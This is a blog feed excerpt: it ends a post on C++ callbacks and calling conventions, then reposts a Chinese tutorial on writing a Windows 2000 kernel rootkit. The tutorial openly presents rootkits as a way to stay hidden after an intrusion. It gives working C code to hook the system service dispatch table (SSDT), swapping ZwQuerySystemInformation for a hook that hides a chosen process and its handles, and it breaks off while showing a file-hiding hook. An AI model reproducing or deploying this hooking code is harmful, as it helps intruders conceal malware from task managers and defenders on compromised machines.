src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_151_214_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_151_214_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;PF&nbsp;p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;func;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;caller(p);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;system(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">pause</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span></div>
<p align=left><br></span></p>
<p align=left><strong><span>调用约定</span></strong><strong></strong></p>
<p align=left><span>在<span>visual c++</span>中，可以在函数类型前加<span>_cdecl,_stdcall</span>或者<span>_pascal</span>来表示调用规范（默认为<span>_cdecl</span>）。调用规范影响编译器产生的给定函数名，参数传递的顺序，堆栈清理责任以及参数传递机制。</span></p>
<p align=left><span>不过，在<span>win32</span>的程序中，我见得比较多的是<span>CALLBACK</span>，这个宏定义在<span>windef.h</span>中，</span></p>
<p align=left><strong><span>#define CALLBACK<span>&nbsp;&nbsp;&nbsp; </span>__stdcall</span></strong></p>
<p align=left><span>它约定了函数在它们返回到调用者之前，都会从堆栈中移除掉参数。</span></p>
<p align=left>&nbsp;</p>
<p align=left><span>摘自：</span></p>
<p align=left><strong><span>回调函数</span></strong></p>
<p align=left><span><a href="http://hi.baidu.com/spidermanzy/blog/item/b25b00956469c6097bf48016.html">http://hi.baidu.com/spidermanzy/blog/item/b25b00956469c6097bf48016.html</a></span></p>
<p align=left><strong><span>回调函数以及钩子函数的概念</span></strong></p>
<p align=left><span><a href="http://zq2007.blog.hexun.com/9068988_d.html">http://zq2007.blog.hexun.com/9068988_d.html</a></span></p>
<p align=left><strong><span>声明函数指针并实现回调</span></strong></p>
<p align=left><span>http://www.vckbase.com/document/viewdoc/?id=195</span></p>
<img src ="http://www.cppblog.com/superKiki/aggbug/116287.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-25 09:50 <a href="http://www.cppblog.com/superKiki/articles/116287.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>hook不完全归纳</title><link>http://www.cppblog.com/superKiki/articles/115444.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sat, 15 May 2010 04:11:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/115444.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/115444.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/115444.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/115444.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/115444.html</trackback:ping><description><![CDATA[<div class=postText _fckxhtmljob="1"><font size=3 _fckxhtmljob="1"><strong _fckxhtmljob="1">转载学习&nbsp;&nbsp; 原始出处不详了 因该是是邪恶八进制吧&nbsp; 不找了 呵呵</strong><br _fckxhtmljob="1"><br _fckxhtmljob="1">我们安全爱好者，都接触过Rootkit，它对我们入侵后的保护提供了强大的支持。现今比较流行的Rootkit有Hxdef，NtRootkit和AFX Rootkit，而且Hxdef和AFX Rootkit还提供了源代码，对我们的学习提供了很大的方便。这些Rootkit都是使用HOOK技术实现的，欺骗的是用户，而不是操作系统。使用HOOK开发Rootkit是比较简单的，虽然现在也有很多其他的技术，但门槛都太高，很多技术都需要硬编码，对于我等菜鸟，实在是没有这么高深的技术。而HOOK就不同了，它开发简单，兼容性好，而且它几乎是你在编程道路上的一项必学技术，因为太多地方需要HOOK了，使用HOOK开发Rootkit不过是其中的一个应用而已，也是学习HOOK的一项比较好的实践机会。好了，进入正题，本文涉及的内容虽然不深，但也需要你有Windows编程以及驱动程序设计的基础。另外，本文的所有内容均在Windows 2000 SP4下测试成功，如无特殊提示，所以内容都是以Windows 2000 SP4、Intel x86为平台介绍的。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">一、序言<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">针对本文开发的Rootkit，我们常常把它称作Hook System Call、Sysem Service Call或System Service Dispatching，更正规的说法是Hook Windows系统服务调用，它是系统中的一个关键接口，提供了系统由用户态切换到内核态的功能。我们知道，一般处理器可以提供从Ring0到Ring3四种处理器模式，其中必须提供2种，就是Ring0和Ring3。一些特殊的处理器指令只能在内核模式执行，一些高端内存也必须在内核模式下才能访问（可以通过内存映射的方法解决，请参考其他文章，本文不做介绍）。Windows系统就是利用了这2个处理器模式，将系统的关键组件保护起来，只有在内核模式才可以访问，并提供了一个上层接口，供用户程序访问，一切都是在MS的管理之下（悲哀啊！）。下面是Windowx体系结构的简略图。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">[-------------------Windowx体系结构---------------------]<br _fckxhtmljob="1">系统进程，服务进程，应用程序，环境子系统<br _fckxhtmljob="1">应用程序编程接口（API）<br _fckxhtmljob="1">基于NTDLL.DLL的本地系统服务<br _fckxhtmljob="1">（用户模式）<br _fckxhtmljob="1">---------------------------------------------------------------<br _fckxhtmljob="1">（内核模式）<br _fckxhtmljob="1">系统服务调用（SSDT）<br _fckxhtmljob="1">执行体（Executive）<br _fckxhtmljob="1">系统内核，设备驱动（Kernel）<br _fckxhtmljob="1">硬件抽象层（HAL）<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">二、Windows系统服务调用<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">1.机制<br _fckxhtmljob="1">Windows 2000的陷阱调度（Trap Dispatching）机制包括了：中断（Interrupt），延迟过程调用（Deferred Procedure Call），异步过程调用（Asynchronous Procedure Call），异常调度（Exception Dispatching）和系统服务调用（System Service Call）。在Intel x86平台的Windows 2000使用int 0x2e指令进入Windows系统服务调用；Windows XP使用sysenter指令使系统陷入系统服务调用程序中；而AMD平台的Windows XP系统使用syscall指令进入Windows系统服务调用。下面是Intel x86平台的Windows 2000的系统服务调用模型。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">mov eax, ServiceId <br _fckxhtmljob="1">lea edx, ParameterTable<br _fckxhtmljob="1">int 2eh<br _fckxhtmljob="1">ret ParamTableBytes<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">其中ServiceId是传递给系统服务调用程序的ID号，内核使用这个ID号来查找系统服务调度表（System Service Dispath Table）中的对应系统服务信息。在系统服务调度表中，每一项都包含了一个指向具体的系统服务程序的指针，我们就是需要HOOK这个指针，使其指向我们自定义的代码（稍后会详述）。ParameterTable是传递的参数，系统服务调用程序KiSystemService函数会严格检查传递的每一个参数，并将其参数从线程的用户内存中复制到系统的内存中，以便内核可以访问。执行的int指令会导致陷阱发生，所以Windows 2000内的中断描述表（Interrupt Descriptor Table）中的0x2e指向了系统服务调用程序。最后的ParamTableBytes是返回的参数个数的信息。<br _fckxhtmljob="1"><br _fckxhtmljob="1">其实，系统服务调用也是一个接口，是面向Windows内核的接口。它实现了将用户模式下的请求转发到内核模式下，并引发了处理器模式的切换。在用户看来，系统服务调用就是与Windows内核通信的一个桥梁。<br _fckxhtmljob="1"><br _fckxhtmljob="1">2.类型<br _fckxhtmljob="1">在Windows 2000中默认存在两个系统服务调度表，它们对应了两类不同的系统服务。这两个系统服务调度表分别是：KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者有ntoskrnl.exe导出，后者由Win32k.sys导出。在系统中，有三个DLL是最重要的：Kernel32.dll、User32.dll和Gdi32.dll，这些DLL导出的函数，都是通过某种类型的中断进入内核态，然后调用ntoskrnl.exe或Win32k.sys中的函数。函数KeAddSystemServiceTable允许Win32.sys和其他设备驱动程序添加系统服务表。除了Win32k.sys服务表外，使用KeAddSystemServiceTable添加的服务表会被同时复制到KeServiceDescriptorTable和KeServiceDescriptorTableShadow中去。<br _fckxhtmljob="1"><br _fckxhtmljob="1">●注：由于本文的Rootkit只针对KeServiceDescriptorTable，KeServiceDescriptorTableShadow只会稍微提及一些，不会详述。●<br _fckxhtmljob="1"><br _fckxhtmljob="1">另外在提一下，NTDLL.DLL和ntoskrnl.exe的关系很&#8220;微妙&#8221;，用户态和内核态的调用也是有分别的，比如：参数检查。还有Native API导出了2套函数：Zw***和Nt***，要想彻底了解这些内容，推荐看Sunwear写的《浅析本机API》，我们的论坛原创版有这篇文章</font><a href="http://www.eviloctal.com/forum/index.php" target=_blank _fckxhtmljob="1"><u _fckxhtmljob="1"><font color=#0000ff size=3 _fckxhtmljob="1">http://www.eviloctal.com/forum/index.php</font></u></a><font size=3 _fckxhtmljob="1">。<br _fckxhtmljob="1"><br _fckxhtmljob="1">综上所述，Kernel32.dll/Advapi32.dll进入NTDLL.DLL后，使用int 0x2e中断进入内核，最后在ntoskrnl.exe中实现了真正的函数调用；User32.dll和Gdi32.dll则在Win32k.sys中实现了真正的函数调用。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">三、HOOK系统服务<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">HOOK系统服务，首先需要定位系统服务调度表，这里需要一个未公开的ntoskrnl.exe导出单元KeServiceDescriptorTable，它对应一个简单的数据结构，使用它完成对系统服务调度表的修改。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct servicetable<br _fckxhtmljob="1">{<br _fckxhtmljob="1">UINT *ServiceTableBase;<br _fckxhtmljob="1">UINT *ServiceCounterTableBase;<br _fckxhtmljob="1">UINT NumberOfService;<br _fckxhtmljob="1">UCHAR *ParamerterTableBase;<br _fckxhtmljob="1">}ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">ServiceTableBase指向系统服务程序的地址，我们需要对它进行HOOK，使这个地址指向我们的代码。ParamerterTableBase是参数列表的地址，它们都包含了NumberOfService这么多个单元。<br _fckxhtmljob="1"><br _fckxhtmljob="1">我们先用SoftICE分析一下系统服务调度表。使用ntcall命令可以列出系统中的系统服务调度表，但不同的系统，不同的SP补丁，系统服务调度表肯定是不会相同的，因为MS随时都会修改此表。Ntcall命令的输出类似这样：<br _fckxhtmljob="1"><br _fckxhtmljob="1">000A 0008:8049860A params=06 NtAdjustPrivilegesToken<br _fckxhtmljob="1"><br _fckxhtmljob="1">000A是它的序号，8049860A是其地址，params=06表示有6个参数，NtAdjustPrivilegesToken就是函数名了，对应的API是AdjustPrivilegesToken。Win32k.sys导出的系统服务调度表位于KeServiceDescriptorTable+50h处，ServiceID从1000h开始，其结构基本和ntoskrnl.exe一样。我们具体看一下，由于SoftICE的输出非常多，这里只节选一小部分。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">:dd KeServiceDescriptorTable l 4*4<br _fckxhtmljob="1">//如果要查看Win32k.sys，则使用dd KeServiceDescriptorTable+50 l 4*4<br _fckxhtmljob="1">0008:8047F7E0 80471128 00000000 000000F8 8047150C &#8230;&#8230;<br _fckxhtmljob="1">&#8230;&#8230;<br _fckxhtmljob="1"><br _fckxhtmljob="1">8047F7E0为KeServiceDescriptorTable的地址，80471128为ServiceTableBase的地址，000000F8为NumberOfService，8047150C为ParamerterTableBase。<br _fckxhtmljob="1"><br _fckxhtmljob="1">:dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4<br _fckxhtmljob="1">0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE &#8230;&#8230;<br _fckxhtmljob="1">&#8230;&#8230;<br _fckxhtmljob="1"><br _fckxhtmljob="1">80471128地址处为ServiceID=0的系统服务入口地址。在来看一下参数列表。<br _fckxhtmljob="1"><br _fckxhtmljob="1">:dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))<br _fckxhtmljob="1">0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 &#8230;&#8230;<br _fckxhtmljob="1">:db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))<br _fckxhtmljob="1">0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 &#8230;&#8230;<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">18 20 2C 2C，这里的18表示参数个数，即18h/4=6。根据上面的分析，我们只要修改ServiceTableBase到ServiceTableBase+NumberOfService*4范围的数据就可以改变系统服务的执行流程；修改ServiceID就可以改变这一个系统服务的入口地址，我以ZwQuerySystemInformation为例说明一下。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">:u ZwQuerySystemInformation<br _fckxhtmljob="1">ntoskrnl!ZwQuerySystemInformation<br _fckxhtmljob="1">0008:8042F288 MOV EAX, 00000097<br _fckxhtmljob="1">0008:8042F280 LEA EDX, [ESP+04]<br _fckxhtmljob="1">0008:8042F291 INT 2E<br _fckxhtmljob="1">0008:8042F293 RET 0010<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">使用ZwQuerySystemInformation的线性地址+1，就可以定位ServiceID，即入口地址，将这个地址指向我们的函数，就大功告成了。首先需要将KeServiceDescriptorTable引入，这样才能操作系统服务调度表。<br _fckxhtmljob="1"><br _fckxhtmljob="1">__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">然后定义一个宏，参数是需要HOOK函数的线性地址。<br _fckxhtmljob="1"><br _fckxhtmljob="1">#define SYSCALL(_Function) <br _fckxhtmljob="1">KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">将_Function+1即可确定ServiceID的位置，即在系统服务调度表中的入口地址。有了这个宏，就可以&#8220;自由&#8221;的将地址指向&#8220;任何&#8221;位置，我以ZwQuerySystemInformation为例进行演示。首先定义一个typedef函数指针，用于保存原ZwQuerySystemInformation的地址。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (<br _fckxhtmljob="1">IN ULONG SystemInformationClass,<br _fckxhtmljob="1">&#8230;&#8230;);<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">声明ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 然后定义HOOK函数。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSTATUS NewZwQuerySystemInformation (<br _fckxhtmljob="1">&#8230;&#8230;);<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">最后还差一个线性地址的函数，这个函数需要遵循DDK函数的调用约定，它什么工作都不做，只是帮助我们得到线性地址，进而在系统服务调度表中找到入口地址。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (<br _fckxhtmljob="1">&#8230;&#8230;);<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">万事具备，只欠东风。使用SYSCALL宏保存原函数地址，然后指向新函数。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //保存原函数地址<br _fckxhtmljob="1"><br _fckxhtmljob="1">_asm cli<br _fckxhtmljob="1"><br _fckxhtmljob="1">(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //指向新函数<br _fckxhtmljob="1"><br _fckxhtmljob="1">_asm sti<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">还原的时候只需将OldZwQuerySystemInformation的地址指向ServiceTableBase即可。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">_asm cli<br _fckxhtmljob="1">(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //还原<br _fckxhtmljob="1"><br _fckxhtmljob="1">_asm sti<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">这样就可以HOOK成功了。其实想想，不过是使用HOOK函数的线性地址确定在系统服务调度表中的入口地址，然后将这个入口地址指向新函数或旧函数，用SoftICE看看HOOK前后的系统服务调度表就明白了。<br _fckxhtmljob="1"><br _fckxhtmljob="1">下面的内容就是具体开发了，包括隐藏进程，文件/目录，端口，注册表，内核模块，服务/驱动，用户，需要说一下的是，隐藏服务/驱动，用户是用户态的HOOK，在隐藏服务的章节中，我会介绍用户态的HOOK，其他都是在内核下完成的。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">四、隐藏进程<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">我们平常枚举进程，都是使用HelpTool库、Psapi库中的函数，这些函数最终会调用ZwQuerySystemInformation函数，所以只要HOOK这个函数，就可以隐藏进程，使类似任务管理器这样的工具不会发现隐藏的进程。HOOK的方法前边已经说过，所以这里只给出HOOK后函数的处理代码，很好理解。<br _fckxhtmljob="1"><br _fckxhtmljob="1">首先说说ZwQuerySystemInformation函数，使用它可以查询详细的系统信息，信息类型多达54种，我们在用户态使用的很多查询系统信息的API，其实最终都是调用的它。在这54种查询类型中，包含进程信息的有2个，一个是信息类型为5，另一个则为16，前者为系统的进程信息，后者为系统的句柄表，其中包含进程ID。这2个查询信息的方法是不同的，所以要分别HOOK。下面是ZwQuerySystemInformation函数的原型。<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (<br _fckxhtmljob="1">IN ULONG SystemInformationClass, //获取的系统信息类别<br _fckxhtmljob="1">IN OUT PVOID SystemInformation, //返回的信息指针<br _fckxhtmljob="1">IN ULONG SystemInforamtionLength, //长度<br _fckxhtmljob="1">OUT PULONG ReturnLength OPTIONAL); //实际的缓冲区大小<br _fckxhtmljob="1"><br _fckxhtmljob="1">如果SystemInformationClasss为5，那么SystemInformation会返回下面这个结构。<br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct system_porcess<br _fckxhtmljob="1">{<br _fckxhtmljob="1">ULONG NextEntryDelta; //进程偏移<br _fckxhtmljob="1">ULONG ThreadCount; //线程数<br _fckxhtmljob="1">ULONG Reserved1[6]; //保留<br _fckxhtmljob="1">LARGE_INTEGER CreateTime; //进程创建时间<br _fckxhtmljob="1">LARGE_INTEGER KernelTime; //内核占用时间<br _fckxhtmljob="1">LARGE_INTEGER UserTime; //用户占用时间<br _fckxhtmljob="1">UNICODE_STRING ProcessName; //进程名<br _fckxhtmljob="1">KPRIORITY BasePriority; //优先级<br _fckxhtmljob="1">ULONG ProcessId; //进程ID<br _fckxhtmljob="1">ULONG InheritedProcessId; //父进程ID<br _fckxhtmljob="1">ULONG HandleCount; //句柄数<br _fckxhtmljob="1">ULONG Reserved2[2]; //保留<br _fckxhtmljob="1">VM_COUNTERS VmCounters; //VM信息<br _fckxhtmljob="1">IO_COUNTERS IoCounters; //IO信息<br _fckxhtmljob="1">SYSTEM_THREAD SystemThread[1]; //线程信息<br _fckxhtmljob="1">}SYSTEM_PROCESS,*LPSYSTEM_PROCESS;<br _fckxhtmljob="1"><br _fckxhtmljob="1">如果SystemInformationClasss为16，则返回下面这个结构。<br _fckxhtmljob="1">typedef struct system_handle_entry<br _fckxhtmljob="1">{<br _fckxhtmljob="1">ULONG ProcessId; //进程ID<br _fckxhtmljob="1">UCHAR ObjectType; //句柄类型<br _fckxhtmljob="1">UCHAR Flags; //标志<br _fckxhtmljob="1">USHORT HandleValue; //句柄的数值<br _fckxhtmljob="1">PVOID ObjectPointer; //句柄所指向的内核对象地址<br _fckxhtmljob="1">ACCESS_MASK GrantedAccess; //访问权限<br _fckxhtmljob="1">}SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;<br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct system_handle_info<br _fckxhtmljob="1">{<br _fckxhtmljob="1">ULONG Count; //系统句柄数<br _fckxhtmljob="1">SYSTEM_HANDLE_ENTRY Handle[1]; //句柄信息<br _fckxhtmljob="1">}SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;<br _fckxhtmljob="1"><br _fckxhtmljob="1">对于信息类5，我们需要改变NextEntryDelta结构成员，它是进程列表的偏移地址。比如第一个进程信息在SystemInformation+0处，那么第二个信息就在SystemInformation+第一个NextEntryDelta处，依次类推，最后一个进程信息的NextEntryDelta就为0了。也就是说，如果要隐藏第一个进程，就向前移动缓冲区，移动的长度是第一个进程信息结构的大小；如果要隐藏中间的进程，则多加一个NextEntryDelta，就可以覆盖掉要隐藏的进程信息结构；如果要隐藏最后一个进程，将NextEntryDelta设置为0就可以了。<br _fckxhtmljob="1"><br _fckxhtmljob="1">对于信息类16，就没有什么偏移地址了，而是一个完整的缓冲区，我们要隐藏那个句柄，就向前移动SYSTEM_HANDLE_ENTRY结构的大小，覆盖掉要隐藏的数据。<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSTATUS NewZwQuerySystemInformation (<br _fckxhtmljob="1">IN ULONG SystemInformationClass,<br _fckxhtmljob="1">&#8230;&#8230;)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">//请求原函数<br _fckxhtmljob="1">ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,&#8230;&#8230;);<br _fckxhtmljob="1"><br _fckxhtmljob="1">//SystemInformationClass==16 枚举系统句柄表<br _fckxhtmljob="1">if (NT_SUCCESS(ntStatus) &amp;&amp; SystemInformationClass==16)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//指向句柄表缓冲区<br _fckxhtmljob="1">lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;<br _fckxhtmljob="1">Num=lpSystemHandle-&gt;Count; //取得系统句柄数<br _fckxhtmljob="1"><br _fckxhtmljob="1">for (n=0; n&lt;Num; n++)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//比较句柄表中的进程ID<br _fckxhtmljob="1">if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle-&gt;Handle[n].ProcessId)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//向前移动句柄表缓冲区<br _fckxhtmljob="1">memcpy((lpSystemHandle-&gt;Handle+n),(lpSystemHandle-&gt;Handle+n+1),<br _fckxhtmljob="1">(Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));<br _fckxhtmljob="1">Num--; //总数要--<br _fckxhtmljob="1">n--;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//SystemInformationClass==5 枚举系统进程<br _fckxhtmljob="1">if (NT_SUCCESS(ntStatus) &amp;&amp; SystemInformationClass==5)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//指向进程列表缓冲区<br _fckxhtmljob="1">ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;<br _fckxhtmljob="1">while (ProcCurr)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">RtlUnicodeStringToAnsiString(&amp;ProcNameAnsi,&amp;ProcCurr-&gt;ProcessName,TRUE);<br _fckxhtmljob="1">if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,<br _fckxhtmljob="1">strlen(ProcNameAnsi.Buffer))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//移动进程偏移NextEntryDelta<br _fckxhtmljob="1">if (ProcPrev)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (ProcCurr-&gt;NextEntryDelta)<br _fckxhtmljob="1">ProcPrev-&gt;NextEntryDelta+=ProcCurr-&gt;NextEntryDelta;<br _fckxhtmljob="1">else<br _fckxhtmljob="1">ProcPrev-&gt;NextEntryDelta=0;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">else<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (ProcCurr-&gt;NextEntryDelta)<br _fckxhtmljob="1">SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)<br _fckxhtmljob="1">ProcCurr+ProcCurr-&gt;NextEntryDelta);<br _fckxhtmljob="1">else<br _fckxhtmljob="1">SystemInformation=NULL;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">ProcPrev=ProcCurr;<br _fckxhtmljob="1">//下一进程<br _fckxhtmljob="1">if (ProcCurr-&gt;NextEntryDelta)<br _fckxhtmljob="1">ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)<br _fckxhtmljob="1">ProcCurr+ProcCurr-&gt;NextEntryDelta);<br _fckxhtmljob="1">else<br _fckxhtmljob="1">ProcCurr=NULL;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">&#8230;&#8230;<br _fckxhtmljob="1">return ntStatus;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">HIDDEN_SYSTEM_HANDLE和HIDDEN_SYSTEM_PROCESS是2个宏，分别为隐藏的进程ID和进程名。下面介绍隐藏文件/目录。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">五、隐藏文件/目录<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">枚举文件使用ZwQueryDirectoryFile函数，其原型如下：<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (<br _fckxhtmljob="1">IN HANDLE hFile,<br _fckxhtmljob="1">IN HANDLE hEvent OPTIONAL,<br _fckxhtmljob="1">IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,<br _fckxhtmljob="1">IN PVOID IoApcContext OPTIONAL,<br _fckxhtmljob="1">OUT PIO_STATUS_BLOCK pIoStatusBlock,<br _fckxhtmljob="1">OUT PVOID FileInformationBuffer,<br _fckxhtmljob="1">IN ULONG FileInformationBufferLength,<br _fckxhtmljob="1">IN FILE_INFORMATION_CLASS FileInfoClass,<br _fckxhtmljob="1">IN BOOLEAN ReturnOnlyOneEntry,<br _fckxhtmljob="1">IN PUNICODE_STRING FileName OPTIONAL,<br _fckxhtmljob="1">IN BOOLEAN RestartQuery);<br _fckxhtmljob="1"><br _fckxhtmljob="1">hFile为文件句柄，由ZwCrateFile或ZwOpenFile获得，FileInfoClass是一个不断变化的枚举类型，但只有4个同文件/目录有关。FileInformationBuffer是返回的信息指针。我们要隐藏文件/目录，就要处理这4个不同的枚举类型，它们的数值分别是：1、2、3和12，分别对应4个不同的结构，由于结构内容比较长，所以只介绍信息类为12的内容，其他可以在光盘中的FileInfo.txt中找到。信息类为12返回的结果如下：<br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct file_name_info {<br _fckxhtmljob="1">ULONG NextEntryOffset; //文件偏移<br _fckxhtmljob="1">ULONG Unknown; //下一文件索引<br _fckxhtmljob="1">ULONG FileNameLength; //文件长度<br _fckxhtmljob="1">WCHAR FileName[1]; //文件名<br _fckxhtmljob="1">}FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;<br _fckxhtmljob="1"><br _fckxhtmljob="1">隐藏文件/目录的方法和隐藏进程基本上一样，如果没有文件/目录被找到，应该返回0x80000006。<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSTATUS NewZwQueryDirectoryFile (<br _fckxhtmljob="1">IN HANDLE hFile,<br _fckxhtmljob="1">&#8230;&#8230;)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">//请求原函数<br _fckxhtmljob="1">ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,&#8230;&#8230;);<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (NT_SUCCESS(ntStatus) &amp;&amp; FileInfoClass==12)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//指向文件列表缓冲区<br _fckxhtmljob="1">FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;<br _fckxhtmljob="1">do { <br _fckxhtmljob="1">LastOne=!(FileCurr-&gt;NextEntryOffset); //取偏移<br 